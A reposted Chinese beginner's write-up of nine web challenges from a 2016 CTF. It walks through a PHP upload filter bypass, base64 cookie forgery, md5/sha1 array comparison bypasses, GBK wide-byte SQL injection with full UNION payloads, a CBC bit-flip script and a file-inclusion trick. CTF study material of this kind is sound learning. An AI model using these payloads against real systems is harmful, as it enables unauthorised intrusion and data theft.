风云CTF2016 WEB WP

论坛 期权论坛 脚本     
匿名技术用户   2020-12-23 12:14   39   0

新手写的 参考的wp重现了一下,作为自己的学习笔记

web 1

考的是php的正则,下面是源码


刚开始的时候折腾了半天 傻逼似得在URL后面添加了2.php 结果出来的都是key:KEY{*********************************}

后来有人和我说把2.php去掉。然后用了原来的答案,才出来了key。。。

答案:id=keykeyaaaaaakey:/a/keya!

挺多的 毕竟匹配么


web 2

hint:php5

我也是后来才看到这个hint,其实没有这个hint很难弄出来。。。

写wp的时候上传题已经进不去了。就文字描述吧

弄一个1.php5的文件还是很简单的

主要是改一下图片下的Content-Type内容为image/jpeg

其实到这里还不行,还要改上面头部的Content-Type的multipart,改为Multipart就好了

问了一下 有人给了我一个来源:http://www.wooyun.org/bugs/wooyun-2015-0125982

看了一下 是对multipart进行了验证 但是没有验证大小写


web 3

进入网页,看到一段代码


其实不会,看了一下别人的wp

他说的是用php输入流,用hackbar构造请求


key就出来了


web 4

载入看到

Post your username and your password

果断用burp 看到传回的cookie: user=Z3Vlc3Q%3D

去base64解码一下,发现是guest,切记%3D是=的编码,当时愣了半天没看懂这是base64

然后base64加密一下admin,传送数据包


咦 怎么还是这个提示?

然后用hackbar来实现了一下 再抓包 发现数据包里有一个头的差别

Content-Type: application/x-www-form-urlencoded

好了 加上

收到提示

Your password can not be your username.

随便改个密码,再次发送

收到提示

md5(username) == md5(password) should be true!

好吧 绕过md5我知道的有两种 一种是php下的md5 0e漏洞,这里显然不是

那就是另一种了,构造个数组,绕过 username[]=1&password[]=2

OK了,拿到了key


web 5

访问,一篇空白


???

经过提示 知道了是备份文件,我知道的备份文件有两种,后面加~的 和后面加.bak的

听说有个扫描器,专扫这种文件,暂时没找到,找到再说吧

这里访问index.php~,看到了代码


好吧,sha1可没有0e碰撞的问题,果断用数组

很明显的,用hackbar发送一个数据包


就拿到key了


web 6

访问返回:
key in the database

在返回包里看到charset=gbk
不用多想,直接就是宽字符注入了

什么是宽字符注入呢,就是%df'被转义成%df\'导致单引号可用的情况

接下来就是手注的问题了

139.129.166.67/5t5y6huj7j7/index.php?id=1%df%27 union select 1,2%23

确认两列

139.129.166.67/5t5y6huj7j7/index.php?id=1%df%27 union select 1,group_concat(database())%23

确认test数据库

139.129.166.67/5t5y6huj7j7/index.php?id=1%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

确认article和flag表

139.129.166.67/5t5y6huj7j7/index.php?id=1%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167%23

确认id和thisisflag列,此处的0x666c6167是flag的16进制

139.129.166.67/5t5y6huj7j7/index.php?id=1%df%27 union select 1,group_concat(id,0x7c,thisisflag) from flag%23

获得flag

这边原来对%23和#有点疑问,为什么一定要%23但是#却不行呢

问了一下前辈,原来直接输入#,浏览器会误以为你搜索的是HTML标签的ID部分,所以并不会给你转义成%23传到服务器,所以要手动输入%23


web 7

登进去看到

please faster

按照经验,肯定是脚本,看burp抓包,果然


包头有个flag,后面是一串base64编码,要求POST数据为anyun: xxx形式

果断写一个脚本,发现回复了这样的东西

I said do faster
Please faster!!!

尼玛,尝试好多次无果,最后看别人的wp,发现要base64解码两次

然后解码两次,依旧这样,呃。。。

再问别人,结果发现cookie要设置,好坑

最后得到了key

附上脚本

<?php
$url = "http://139.129.166.67/gthyj67r/";
$contents = file_get_contents($url);
$header_arr = get_headers($url);
$cookie = $header_arr[4];
$cookie = explode(':',$cookie)[1];
$flag = $header_arr[8];
$flag = explode(':',$flag)[1];
$flag = base64_decode($flag);
$flag = explode(':',$flag)[1];
$flag = base64_decode($flag);

$post_data = array("anyun"=>$flag);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_COOKIE,$cookie);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post_data);
$output = curl_exec($ch);
curl_close($ch);

print_r($output);
?>


web 8

这题不会,看了别人的WP,重现了一下,自己写一下,加上点自己的理解

进入页面,看到源码


CBC字节翻转攻击,来源:http://drops.wooyun.org/tips/7828

看了这篇文章,大致懂了一些,写个脚本

<?php
$enc = '9pzE4775q38+wGl/FqNMfFM53Ra6wTKAGUykoeioOjKzlajhqgjsPjGiXVvkFF2BwdywFE67ELLaNuU5yS0kjiuETsjG0Jdk4LiwwBst8ig=';
$enc = base64_decode($enc);
$enc[47] = chr(ord($enc[47]) ^ ord("9") ^ ord("1"));
$enc = base64_encode($enc);
$enc = urlencode($enc);
echo $enc;
?>

明文:1234567890abcdef1234567890abcdef1234567890abcdef1234567890auid=9;123123123123

刚开始我对47不太理解,按照来源里说的,16字节为一组,第一组不加,第二组开始算,到9的话偏移量是47,就懂了

得出来的$enc字符串放入cookie中的user里就好


web 9

这道题一进网页看到URL变成了这样

http://139.129.166.67/sefrgtafgr/index.php?line=&file=a2V5LnR4dA==

发现和idf-ctf实验室里的叫做cookie欺骗的题目差不多,就是文件包含,line来读取第几行

把file后改成index.php的base64加密,然后改line的值,得出整个PHP代码

<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);


if(isset($_COOKIE['key']) && $_COOKIE['key']=='an_yun_tec'){
$file_list[2]='thisis_key.php';
}


if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

接下来就简单了,构造数据包,其中URL为

139.129.166.67/sefrgtafgr/index.php?line=&file=dGhpc2lzX2tleS5waHA=

cookie加上key=an_yun_tec

通过burp发包,就得到key了

分享到 :
0 人收藏
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

积分:7942463
帖子:1588486
精华:0
期权论坛 期权论坛
发布
内容

下载期权论坛手机APP